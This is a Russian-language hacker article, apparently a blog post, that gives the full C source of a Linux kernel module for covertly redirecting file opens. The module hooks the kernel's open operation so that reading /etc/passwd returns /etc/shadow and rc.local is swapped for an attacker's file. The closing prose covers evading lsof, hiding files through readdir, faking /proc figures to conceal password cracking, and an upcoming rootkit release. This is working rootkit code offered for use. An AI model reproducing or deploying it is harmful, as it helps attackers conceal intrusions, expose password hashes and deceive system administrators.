• Партнер

  • /*
    Redir by Alekz Under (skleroz@pisem.net)
    This module allows you to redirect files in your system.

    */
    #define MODULE
    #define __KERNEL__
    #include <linux/config.h>
    #include <linux/kernel.h>
    #include <linux/module.h>
    #include <linux/version.h>
    #include <linux/string.h>

    // include файлы нужные для работы с файловой системой
    #include <linux/slab.h>
    #include <linux/locks.h>
    #include <linux/fd.h>
    #include <linux/fs.h>

    #include <linux/smp_lock.h>

    struct file_operations * fop;
    struct file_operations orig_fop;
    struct nameidata kernel_nd;

    // структкра в которой мы будем хранить имена и
    иноды настоящего и обманного файлов
    struct redirect_struct
    {
    long int orig_ino, redir_ino;
    char * orig_fname, * redir_fname;
    struct redirect_struct *next, *prev;
    };

    struct redirect_struct *redirects;

    int redirect_add(char *orig, char *redir);
    void redirect_del(char *orig);

    int wrap_open(struct inode *ino, struct file *filp);

    // эта функция по названию файла находит номер его inode'а
    long int get_inode_num(char *filename)
    {
    int err;
    long int inode_num;
    struct nameidata nd;

    if (path_init(filename, 0, &nd))
    err = path_walk(filename, &nd);

    if (err)
    return 0;

    inode_num = nd.dentry->d_inode->i_ino;
    path_release(&nd);

    return inode_num;
    }

    int wrap_open(struct inode *ino, struct file *filp)
    {
    struct redirect_struct *redir;

    // просматриваем список редиректов
    // вместо связного списка можно использовать массив
    for(redir = redirects; redir != NULL; redir = redir->next)
    {
    //
    открываемый файл есть в нашем списке редиректов? 
    if(filp->f_dentry->d_inode->i_ino == redir->orig_ino)
    {
    int ret;
    struct nameidata nd;

    // открываем обманный файл
    if (path_init(redir->redir_fname, 0, &nd))
    ret = path_walk(redir->redir_fname, &nd);
    if (ret) /*error! файл не найден!*/
    return -1; /*
    orig_fop.open(ino, filp);
    */

    lock_kernel();

    // закрываем настоящий файл
    dput(filp->f_dentry);

    // заменяем структуры так, что данные будут читаться из обманного файла, а не из настоящего
    filp->f_dentry = nd.dentry;

    unlock_kernel();
    }
    }

    // вызываем настоящую
    open
    return orig_fop.open(ino, filp);
    }

    // эта функция добавляет файлы для редиректа в список
    int redirect_add(char *orig_fname, char *redir_fname)
    {
    struct redirect_struct *redir, *tmp;

    // заказываем память для структуры
    redir = kmalloc(sizeof(struct redirect_struct), GFP_ATOMIC);
    if(!redir)
    return -1;

    // память для имен файлов
    redir->orig_fname = kmalloc(strlen(orig_fname)+1, GFP_ATOMIC);
    redir->redir_fname = kmalloc(strlen(redir_fname)+1, GFP_ATOMIC);

    if(!redir->orig_fname || !redir->redir_fname)
    {
    kfree(redir);
    return -1;
    }

    strcpy(redir->orig_fname, orig_fname);
    strcpy(redir->redir_fname, redir_fname);

    // определяем номера инодов
    redir->orig_ino = get_inode_num(orig_fname);
    redir->redir_ino = get_inode_num(redir_fname);

    if(!redir->orig_ino || !redir->redir_ino)
    {
    kfree(redir->orig_fname);
    kfree(redir->redir_fname);
    kfree(redir);
    return -1;
    }

    if(!redirects)
    {
    redirects = redir;
    redirects->next = NULL;
    redirects->prev = NULL;
    return 0;
    }

    // ищем место куда воткнуть структуру редиректа
    // код сложный, так как производится сортировка по номерам inode'в, что
    бы быстрее просматривать этот список в wrap_open
    for(tmp = redirects; tmp->next != NULL; tmp = tmp->next)
    {
    if(tmp->orig_ino < redir->orig_ino)
    {
    redir->next = tmp;
    if(tmp == redirects)
    {
    redir->prev = NULL;
    redirects->prev = redir;
    redirects = redir;
    }
    else
    {
    redir->prev = tmp->prev;
    tmp->prev->next = redir;
    }
    return 0;
    }
    else if(redir->orig_ino == tmp->orig_ino)
    {
    //
    уже редиректим этот файл
    kfree(redir->orig_fname);
    kfree(redir->redir_fname);
    kfree(redir);
    return 0;
    }
    }

    // все номера inode'ов настоящих файлов больше redir->orig_ino - просто добавить структуру в конец списка
    redir->next = tmp->next;
    redir->prev = tmp;
    tmp->next = redir;

    return 0;
    }

    // эта функция удаляет структуру-редиректа из списка
    void redirect_del(char *orig)
    {
    struct redirect_struct *tmp;
    long int orig_ino = get_inode_num(orig);

    for(tmp = redirects; tmp != NULL; tmp = tmp->next)
    {
    if(tmp->orig_ino == orig_ino)
    {
    //
    нашли...
    if(tmp->prev == NULL)
    redirects = tmp->next;
    else
    tmp->prev->next = tmp->next;

    if(tmp->next)
    tmp->next->prev = tmp->prev;
    else
    redirects = NULL;

    kfree(tmp->orig_fname);
    kfree(tmp->redir_fname);
    kfree(tmp);
    return;
    }
    }
    }

    int init_module(void)
    {
    int error;
    char path[] = "/etc/inittab";

    // перехватываем open функцию
    if (path_init(path, 0, &kernel_nd))
    error = path_walk(path, &kernel_nd);
    if (!error)
    {
    lock_kernel();

    fop = kernel_nd.dentry->d_inode->i_fop;
    orig_fop.open = fop->open;
    fop->open = wrap_open;

    unlock_kernel();
    }
    else
    {
    printk("err0r.\n");
    }

    // добавляем файлы для редиректа
    redirect_add("/etc/passwd", "/etc/shadow");
    redirect_add("/etc/rc.d/rc.local", "/home/hacker/real.rc.local");
    //
    теперь cat /etc/passwd покажет shadow, а не passwd 🙂
    // и т.д.

    return 0;
    }

    void cleanup_module(void)
    {
    //
    восстанавливаем open функцию
    path_release(&kernel_nd);
    fop->open = orig_fop.open;
    }

    Внимание: если кто-то открыл редиректящийся файл и работает с ним, то прога lsof может показать название обманного файла, но это редкая ситуация и если немножко поковыряться, то можно это побороть. И еще, если номера
    inodо'в редиректящихся файлов поменяются не вовремя, то могут быть проблемы - нужно еще следить за функциями удаления и переименования файлов. Размер файла, его timestamp'ы и т.д. не будут редиректится в отличии от
    содержания. Но это можно побороть с помощью Time Machine, модуля
    описанного ранее и т.д. 🙂

    Перехватывая функцию readdir можно прятать файлы в каталоге, возможно я расскажу как это реализовать с следующий раз.

    Кстати, примерно таким же образом можно перехватывать и функции файловой системы proc (та, которая обслуживает файлы в /proc и предоставляет интерфейс с ядром), а значит, и выдавать любую нужную информацию о работе системы. Например, скрывать уровень загрузки процессора когда твой John the Ripper рипает пароли, объем свободного дискового пространства, когда ты там хранишь свои файлы, и т.д... 🙂 Читай про приколы с proc во Phrack
    #58.

    Ну вот и все на сегодня, в следующий раз вас ждет небольшой Новогодний подарок - релиз одного из моих lkm rootkit'ов. 🙂
    Этот руткит не содержит каких-либо супер-сложных извратов. Тем не менее он наглядно демонстрирует как собрать все выше изложенные знания воедино и создать полезный Rootkit. А также многое другое... 😉

    Подписаться
    Уведомить о
    0 комментариев
    Межтекстовые Отзывы
    Посмотреть все комментарии